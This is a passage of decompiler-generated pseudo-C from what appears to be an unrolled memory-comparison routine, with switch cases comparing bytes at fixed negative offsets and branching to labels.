																	L467:
																	__eax =  *(__esi - 0xf);
																	__eflags =  *(__esi - 0xf) -  *(__edx - 0xf);
																	if( *(__esi - 0xf) ==  *(__edx - 0xf)) {
																		goto L480;
																	} else {
																		__ecx = __al & 0x000000ff;
																		__eax =  *(__edx - 0xf) & 0x000000ff;
																		__ecx = (__al & 0x000000ff) - ( *(__edx - 0xf) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t892 = __ecx > 0;
																			__eflags = _t892;
																			__eax = 0 | _t892;
																			__ecx = _t892 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 0xe) & 0x000000ff;
																			__eax =  *(__edx - 0xe) & 0x000000ff;
																			__ecx = ( *(__esi - 0xe) & 0x000000ff) - ( *(__edx - 0xe) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t898 = __ecx > 0;
																				__eflags = _t898;
																				__eax = 0 | _t898;
																				__ecx = _t898 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 0xd) & 0x000000ff;
																				__eax =  *(__edx - 0xd) & 0x000000ff;
																				__ecx = ( *(__esi - 0xd) & 0x000000ff) - ( *(__edx - 0xd) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t904 = __ecx > 0;
																					__eflags = _t904;
																					__eax = 0 | _t904;
																					__ecx = _t904 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 0xc) & 0x000000ff;
																					__eax =  *(__edx - 0xc) & 0x000000ff;
																					__ecx = ( *(__esi - 0xc) & 0x000000ff) - ( *(__edx - 0xc) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t910 = __ecx > 0;
																						__eflags = _t910;
																						__eax = 0 | _t910;
																						__ecx = _t910 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L480;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0x10:
																	L175:
																	_t1060 =  *(_t1354 - 0x10);
																	__eflags = _t1060 -  *(_t1340 - 0x10);
																	if(_t1060 ==  *(_t1340 - 0x10)) {
																		goto L188;
																	} else {
																		_t1270 = (_t1060 & 0x000000ff) - ( *(_t1340 - 0x10) & 0x000000ff);
																		__eflags = _t1270;
																		if(_t1270 != 0) {
																			__eflags = _t1270;
																			_t330 = _t1270 > 0;
																			__eflags = _t330;
																			_t1270 = (0 | _t330) * 2 - 1;
																		}
																		__eflags = _t1270;
																		if(_t1270 == 0) {
																			_t1270 = ( *(_t1354 - 0xf) & 0x000000ff) - ( *(_t1340 - 0xf) & 0x000000ff);
																			__eflags = _t1270;
																			if(_t1270 != 0) {
																				__eflags = _t1270;
																				_t336 = _t1270 > 0;
																				__eflags = _t336;
																				_t1270 = (0 | _t336) * 2 - 1;
																			}
																			__eflags = _t1270;
																			if(_t1270 == 0) {
																				_t1270 = ( *(_t1354 - 0xe) & 0x000000ff) - ( *(_t1340 - 0xe) & 0x000000ff);
																				__eflags = _t1270;
																				if(_t1270 != 0) {
																					__eflags = _t1270;
																					_t342 = _t1270 > 0;
																					__eflags = _t342;
																					_t1270 = (0 | _t342) * 2 - 1;
																				}
																				__eflags = _t1270;
																				if(_t1270 == 0) {
																					_t1270 = ( *(_t1354 - 0xd) & 0x000000ff) - ( *(_t1340 - 0xd) & 0x000000ff);
																					__eflags = _t1270;
																					if(_t1270 != 0) {
																						__eflags = _t1270;
																						_t348 = _t1270 > 0;
																						__eflags = _t348;
																						_t1270 = (0 | _t348) * 2 - 1;
																					}
																					__eflags = _t1270;
																					if(_t1270 == 0) {
																						goto L188;
																					}
																				}
																			}
																		}
																	}
																	goto L228;
																case 0x11:
																	L268:
																	__eax =  *(__esi - 0x11);
																	__eflags =  *(__esi - 0x11) -  *(__edx - 0x11);
																	if( *(__esi - 0x11) ==  *(__edx - 0x11)) {
																		goto L281;
																	} else {
																		__ecx = __al & 0x000000ff;
																		__eax =  *(__edx - 0x11) & 0x000000ff;
																		__ecx = (__al & 0x000000ff) - ( *(__edx - 0x11) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t506 = __ecx > 0;
																			__eflags = _t506;
																			__eax = 0 | _t506;
																			__ecx = _t506 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 0x10) & 0x000000ff;
																			__eax =  *(__edx - 0x10) & 0x000000ff;
																			__ecx = ( *(__esi - 0x10) & 0x000000ff) - ( *(__edx - 0x10) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t512 = __ecx > 0;
																				__eflags = _t512;
																				__eax = 0 | _t512;
																				__ecx = _t512 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 0xf) & 0x000000ff;
																				__eax =  *(__edx - 0xf) & 0x000000ff;
																				__ecx = ( *(__esi - 0xf) & 0x000000ff) - ( *(__edx - 0xf) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t518 = __ecx > 0;
																					__eflags = _t518;
																					__eax = 0 | _t518;
																					__ecx = _t518 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 0xe) & 0x000000ff;
																					__eax =  *(__edx - 0xe) & 0x000000ff;
																					__ecx = ( *(__esi - 0xe) & 0x000000ff) - ( *(__edx - 0xe) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t524 = __ecx > 0;
																						__eflags = _t524;
																						__eax = 0 | _t524;
																						__ecx = _t524 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L281;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0x12:
																	L361:
																	__eax =  *(__esi - 0x12);
																	__eflags =  *(__esi - 0x12) -  *(__edx - 0x12);
																	if( *(__esi - 0x12) ==  *(__edx - 0x12)) {
																		goto L374;
																	} else {
																		__ecx = __al & 0x000000ff;
																		__eax =  *(__edx - 0x12) & 0x000000ff;
																		__ecx = (__al & 0x000000ff) - ( *(__edx - 0x12) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t688 = __ecx > 0;
																			__eflags = _t688;
																			__eax = 0 | _t688;
																			__ecx = _t688 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 0x11) & 0x000000ff;
																			__eax =  *(__edx - 0x11) & 0x000000ff;
																			__ecx = ( *(__esi - 0x11) & 0x000000ff) - ( *(__edx - 0x11) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t694 = __ecx > 0;
																				__eflags = _t694;
																				__eax = 0 | _t694;
																				__ecx = _t694 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 0x10) & 0x000000ff;
																				__eax =  *(__edx - 0x10) & 0x000000ff;
																				__ecx = ( *(__esi - 0x10) & 0x000000ff) - ( *(__edx - 0x10) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t700 = __ecx > 0;
																					__eflags = _t700;
																					__eax = 0 | _t700;
																					__ecx = _t700 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 0xf) & 0x000000ff;
																					__eax =  *(__edx - 0xf) & 0x000000ff;
																					__ecx = ( *(__esi - 0xf) & 0x000000ff) - ( *(__edx - 0xf) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t706 = __ecx > 0;
																						__eflags = _t706;
																						__eax = 0 | _t706;
																						__ecx = _t706 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L374;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0x13:
																	L454:
																	__eax =  *(__esi - 0x13);
																	__eflags =  *(__esi - 0x13) -  *(__edx - 0x13);
																	if( *(__esi - 0x13) ==  *(__edx - 0x13)) {
																		goto L467;
																	} else {
																		__eax =  *(__edx - 0x13) & 0x000000ff;
																		__ecx =  *(__esi - 0x13) & 0x000000ff;
																		__ecx = ( *(__esi - 0x13) & 0x000000ff) - ( *(__edx - 0x13) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t867 = __ecx > 0;
																			__eflags = _t867;
																			__eax = 0 | _t867;
																			__ecx = _t867 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 0x12) & 0x000000ff;
																			__eax =  *(__edx - 0x12) & 0x000000ff;
																			__ecx = ( *(__esi - 0x12) & 0x000000ff) - ( *(__edx - 0x12) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t873 = __ecx > 0;
																				__eflags = _t873;
																				__eax = 0 | _t873;
																				__ecx = _t873 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 0x11) & 0x000000ff;
																				__eax =  *(__edx - 0x11) & 0x000000ff;
																				__ecx = ( *(__esi - 0x11) & 0x000000ff) - ( *(__edx - 0x11) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t879 = __ecx > 0;
																					__eflags = _t879;
																					__eax = 0 | _t879;
																					__ecx = _t879 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 0x10) & 0x000000ff;
																					__eax =  *(__edx - 0x10) & 0x000000ff;
																					__ecx = ( *(__esi - 0x10) & 0x000000ff) - ( *(__edx - 0x10) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t885 = __ecx > 0;
																						__eflags = _t885;
																						__eax = 0 | _t885;
																						__ecx = _t885 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L467;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0x14:
																	L162:
																	_t1059 =  *(_t1354 - 0x14);
																	__eflags = _t1059 -  *(_t1340 - 0x14);
																	if(_t1059 ==  *(_t1340 - 0x14)) {
																		goto L175;
																	} else {
																		_t1270 = (_t1059 & 0x000000ff) - ( *(_t1340 - 0x14) & 0x000000ff);
																		__eflags = _t1270;
																		if(_t1270 != 0) {
																			__eflags = _t1270;
																			_t305 = _t1270 > 0;
																			__eflags = _t305;
																			_t1270 = (0 | _t305) * 2 - 1;
																		}
																		__eflags = _t1270;
																		if(_t1270 == 0) {
																			_t1270 = ( *(_t1354 - 0x13) & 0x000000ff) - ( *(_t1340 - 0x13) & 0x000000ff);
																			__eflags = _t1270;
																			if(_t1270 != 0) {
																				__eflags = _t1270;
																				_t311 = _t1270 > 0;
																				__eflags = _t311;
																				_t1270 = (0 | _t311) * 2 - 1;
																			}
																			__eflags = _t1270;
																			if(_t1270 == 0) {
																				_t1270 = ( *(_t1354 - 0x12) & 0x000000ff) - ( *(_t1340 - 0x12) & 0x000000ff);
																				__eflags = _t1270;
																				if(_t1270 != 0) {
																					__eflags = _t1270;
																					_t317 = _t1270 > 0;
																					__eflags = _t317;
																					_t1270 = (0 | _t317) * 2 - 1;
																				}
																				__eflags = _t1270;
																				if(_t1270 == 0) {
																					_t1270 = ( *(_t1354 - 0x11) & 0x000000ff) - ( *(_t1340 - 0x11) & 0x000000ff);
																					__eflags = _t1270;
																					if(_t1270 != 0) {
																						__eflags = _t1270;
																						_t323 = _t1270 > 0;
																						__eflags = _t323;
																						_t1270 = (0 | _t323) * 2 - 1;
																					}
																					__eflags = _t1270;
																					if(_t1270 == 0) {
																						goto L175;
																					}
																				}
																			}
																		}
																	}
																	goto L228;
																case 0x15:
																	L255:
																	__eax =  *(__esi - 0x15);
																	__eflags =  *(__esi - 0x15) -  *(__edx - 0x15);
																	if( *(__esi - 0x15) ==  *(__edx - 0x15)) {
																		goto L268;
																	} else {
																		__ecx = __al & 0x000000ff;
																		__eax =  *(__edx - 0x15) & 0x000000ff;
																		__ecx = (__al & 0x000000ff) - ( *(__edx - 0x15) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t481 = __ecx > 0;
																			__eflags = _t481;
																			__eax = 0 | _t481;
																			__ecx = _t481 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 0x14) & 0x000000ff;
																			__eax =  *(__edx - 0x14) & 0x000000ff;
																			__ecx = ( *(__esi - 0x14) & 0x000000ff) - ( *(__edx - 0x14) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t487 = __ecx > 0;
																				__eflags = _t487;
																				__eax = 0 | _t487;
																				__ecx = _t487 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 0x13) & 0x000000ff;
																				__eax =  *(__edx - 0x13) & 0x000000ff;
																				__ecx = ( *(__esi - 0x13) & 0x000000ff) - ( *(__edx - 0x13) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t493 = __ecx > 0;
																					__eflags = _t493;
																					__eax = 0 | _t493;
																					__ecx = _t493 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 0x12) & 0x000000ff;
																					__eax =  *(__edx - 0x12) & 0x000000ff;
																					__ecx = ( *(__esi - 0x12) & 0x000000ff) - ( *(__edx - 0x12) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t499 = __ecx > 0;
																						__eflags = _t499;
																						__eax = 0 | _t499;
																						__ecx = _t499 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L268;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0x16:
																	L348:
																	__eax =  *(__esi - 0x16);
																	__eflags =  *(__esi - 0x16) -  *(__edx - 0x16);
																	if( *(__esi - 0x16) ==  *(__edx - 0x16)) {
																		goto L361;
																	} else {
																		__ecx = __al & 0x000000ff;
																		__eax =  *(__edx - 0x16) & 0x000000ff;
																		__ecx = (__al & 0x000000ff) - ( *(__edx - 0x16) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t663 = __ecx > 0;
																			__eflags = _t663;
																			__eax = 0 | _t663;
																			__ecx = _t663 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 0x15) & 0x000000ff;
																			__eax =  *(__edx - 0x15) & 0x000000ff;
																			__ecx = ( *(__esi - 0x15) & 0x000000ff) - ( *(__edx - 0x15) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t669 = __ecx > 0;
																				__eflags = _t669;
																				__eax = 0 | _t669;
																				__ecx = _t669 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 0x14) & 0x000000ff;
																				__eax =  *(__edx - 0x14) & 0x000000ff;
																				__ecx = ( *(__esi - 0x14) & 0x000000ff) - ( *(__edx - 0x14) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t675 = __ecx > 0;
																					__eflags = _t675;
																					__eax = 0 | _t675;
																					__ecx = _t675 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 0x13) & 0x000000ff;
																					__eax =  *(__edx - 0x13) & 0x000000ff;
																					__ecx = ( *(__esi - 0x13) & 0x000000ff) - ( *(__edx - 0x13) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t681 = __ecx > 0;
																						__eflags = _t681;
																						__eax = 0 | _t681;
																						__ecx = _t681 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L361;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0x17:
																	L441:
																	__eax =  *(__esi - 0x17);
																	__eflags =  *(__esi - 0x17) -  *(__edx - 0x17);
																	if( *(__esi - 0x17) ==  *(__edx - 0x17)) {
																		goto L454;
																	} else {
																		__ecx = __al & 0x000000ff;
																		__eax =  *(__edx - 0x17) & 0x000000ff;
																		__ecx = (__al & 0x000000ff) - ( *(__edx - 0x17) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t841 = __ecx > 0;
																			__eflags = _t841;
																			__eax = 0 | _t841;
																			__ecx = _t841 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 0x16) & 0x000000ff;
																			__eax =  *(__edx - 0x16) & 0x000000ff;
																			__ecx = ( *(__esi - 0x16) & 0x000000ff) - ( *(__edx - 0x16) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t847 = __ecx > 0;
																				__eflags = _t847;
																				__eax = 0 | _t847;
																				__ecx = _t847 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 0x15) & 0x000000ff;
																				__eax =  *(__edx - 0x15) & 0x000000ff;
																				__ecx = ( *(__esi - 0x15) & 0x000000ff) - ( *(__edx - 0x15) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t853 = __ecx > 0;
																					__eflags = _t853;
																					__eax = 0 | _t853;
																					__ecx = _t853 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 0x14) & 0x000000ff;
																					__eax =  *(__edx - 0x14) & 0x000000ff;
																					__ecx = ( *(__esi - 0x14) & 0x000000ff) - ( *(__edx - 0x14) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t859 = __ecx > 0;
																						__eflags = _t859;
																						__eax = 0 | _t859;
																						__ecx = _t859 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L454;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0x18:
																	L149:
																	_t1058 =  *(_t1354 - 0x18);
																	__eflags = _t1058 -  *(_t1340 - 0x18);
																	if(_t1058 ==  *(_t1340 - 0x18)) {
																		goto L162;
																	} else {
																		_t1270 = (_t1058 & 0x000000ff) - ( *(_t1340 - 0x18) & 0x000000ff);
																		__eflags = _t1270;
																		if(_t1270 != 0) {
																			__eflags = _t1270;
																			_t280 = _t1270 > 0;
																			__eflags = _t280;
																			_t1270 = (0 | _t280) * 2 - 1;
																		}
																		__eflags = _t1270;
																		if(_t1270 == 0) {
																			_t1270 = ( *(_t1354 - 0x17) & 0x000000ff) - ( *(_t1340 - 0x17) & 0x000000ff);
																			__eflags = _t1270;
																			if(_t1270 != 0) {
																				__eflags = _t1270;
																				_t286 = _t1270 > 0;
																				__eflags = _t286;
																				_t1270 = (0 | _t286) * 2 - 1;
																			}
																			__eflags = _t1270;
																			if(_t1270 == 0) {
																				_t1270 = ( *(_t1354 - 0x16) & 0x000000ff) - ( *(_t1340 - 0x16) & 0x000000ff);
																				__eflags = _t1270;
																				if(_t1270 != 0) {
																					__eflags = _t1270;
																					_t292 = _t1270 > 0;
																					__eflags = _t292;
																					_t1270 = (0 | _t292) * 2 - 1;
																				}
																				__eflags = _t1270;
																				if(_t1270 == 0) {
																					_t1270 = ( *(_t1354 - 0x15) & 0x000000ff) - ( *(_t1340 - 0x15) & 0x000000ff);
																					__eflags = _t1270;
																					if(_t1270 != 0) {
																						__eflags = _t1270;
																						_t298 = _t1270 > 0;
																						__eflags = _t298;
																						_t1270 = (0 | _t298) * 2 - 1;
																					}
																					__eflags = _t1270;
																					if(_t1270 == 0) {
																						goto L162;
																					}
																				}
																			}
																		}
																	}
																	goto L228;
																case 0x19:
																	L242:
																	__eax =  *(__esi - 0x19);
																	__eflags =  *(__esi - 0x19) -  *(__edx - 0x19);
																	if( *(__esi - 0x19) ==  *(__edx - 0x19)) {
																		goto L255;
																	} else {
																		__eax =  *(__edx - 0x19) & 0x000000ff;
																		__ecx =  *(__esi - 0x19) & 0x000000ff;
																		__ecx = ( *(__esi - 0x19) & 0x000000ff) - ( *(__edx - 0x19) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t456 = __ecx > 0;
																			__eflags = _t456;
																			__eax = 0 | _t456;
																			__ecx = _t456 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 0x18) & 0x000000ff;
																			__eax =  *(__edx - 0x18) & 0x000000ff;
																			__ecx = ( *(__esi - 0x18) & 0x000000ff) - ( *(__edx - 0x18) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t462 = __ecx > 0;
																				__eflags = _t462;
																				__eax = 0 | _t462;
																				__ecx = _t462 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 0x17) & 0x000000ff;
																				__eax =  *(__edx - 0x17) & 0x000000ff;
																				__ecx = ( *(__esi - 0x17) & 0x000000ff) - ( *(__edx - 0x17) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t468 = __ecx > 0;
																					__eflags = _t468;
																					__eax = 0 | _t468;
																					__ecx = _t468 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 0x16) & 0x000000ff;
																					__eax =  *(__edx - 0x16) & 0x000000ff;
																					__ecx = ( *(__esi - 0x16) & 0x000000ff) - ( *(__edx - 0x16) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t474 = __ecx > 0;
																						__eflags = _t474;
																						__eax = 0 | _t474;
																						__ecx = _t474 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L255;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0x1a:
																	L335:
																	__eax =  *(__esi - 0x1a);
																	__eflags =  *(__esi - 0x1a) -  *(__edx - 0x1a);
																	if( *(__esi - 0x1a) ==  *(__edx - 0x1a)) {
																		goto L348;
																	} else {
																		__ecx = __al & 0x000000ff;
																		__eax =  *(__edx - 0x1a) & 0x000000ff;
																		__ecx = (__al & 0x000000ff) - ( *(__edx - 0x1a) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t638 = __ecx > 0;
																			__eflags = _t638;
																			__eax = 0 | _t638;
																			__ecx = _t638 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 0x19) & 0x000000ff;
																			__eax =  *(__edx - 0x19) & 0x000000ff;
																			__ecx = ( *(__esi - 0x19) & 0x000000ff) - ( *(__edx - 0x19) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t644 = __ecx > 0;
																				__eflags = _t644;
																				__eax = 0 | _t644;
																				__ecx = _t644 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 0x18) & 0x000000ff;
																				__eax =  *(__edx - 0x18) & 0x000000ff;
																				__ecx = ( *(__esi - 0x18) & 0x000000ff) - ( *(__edx - 0x18) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t650 = __ecx > 0;
																					__eflags = _t650;
																					__eax = 0 | _t650;
																					__ecx = _t650 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 0x17) & 0x000000ff;
																					__eax =  *(__edx - 0x17) & 0x000000ff;
																					__ecx = ( *(__esi - 0x17) & 0x000000ff) - ( *(__edx - 0x17) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t656 = __ecx > 0;
																						__eflags = _t656;
																						__eax = 0 | _t656;
																						__ecx = _t656 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L348;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0x1b:
																	L428:
																	__eax =  *(__esi - 0x1b);
																	__eflags =  *(__esi - 0x1b) -  *(__edx - 0x1b);
																	if( *(__esi - 0x1b) ==  *(__edx - 0x1b)) {
																		goto L441;
																	} else {
																		__ecx = __al & 0x000000ff;
																		__eax =  *(__edx - 0x1b) & 0x000000ff;
																		__ecx = (__al & 0x000000ff) - ( *(__edx - 0x1b) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t816 = __ecx > 0;
																			__eflags = _t816;
																			__eax = 0 | _t816;
																			__ecx = _t816 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 0x1a) & 0x000000ff;
																			__eax =  *(__edx - 0x1a) & 0x000000ff;
																			__ecx = ( *(__esi - 0x1a) & 0x000000ff) - ( *(__edx - 0x1a) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t822 = __ecx > 0;
																				__eflags = _t822;
																				__eax = 0 | _t822;
																				__ecx = _t822 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 0x19) & 0x000000ff;
																				__eax =  *(__edx - 0x19) & 0x000000ff;
																				__ecx = ( *(__esi - 0x19) & 0x000000ff) - ( *(__edx - 0x19) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t828 = __ecx > 0;
																					__eflags = _t828;
																					__eax = 0 | _t828;
																					__ecx = _t828 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 0x18) & 0x000000ff;
																					__eax =  *(__edx - 0x18) & 0x000000ff;
																					__ecx = ( *(__esi - 0x18) & 0x000000ff) - ( *(__edx - 0x18) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t834 = __ecx > 0;
																						__eflags = _t834;
																						__eax = 0 | _t834;
																						__ecx = _t834 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L441;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0x1c:
																	_t1057 =  *(_t1354 - 0x1c);
																	__eflags = _t1057 -  *(_t1340 - 0x1c);
																	if(_t1057 ==  *(_t1340 - 0x1c)) {
																		goto L149;
																	} else {
																		_t1270 = (_t1057 & 0x000000ff) - ( *(_t1340 - 0x1c) & 0x000000ff);
																		__eflags = _t1270;
																		if(_t1270 != 0) {
																			__eflags = _t1270;
																			_t255 = _t1270 > 0;
																			__eflags = _t255;
																			_t1270 = (0 | _t255) * 2 - 1;
																		}
																		__eflags = _t1270;
																		if(_t1270 == 0) {
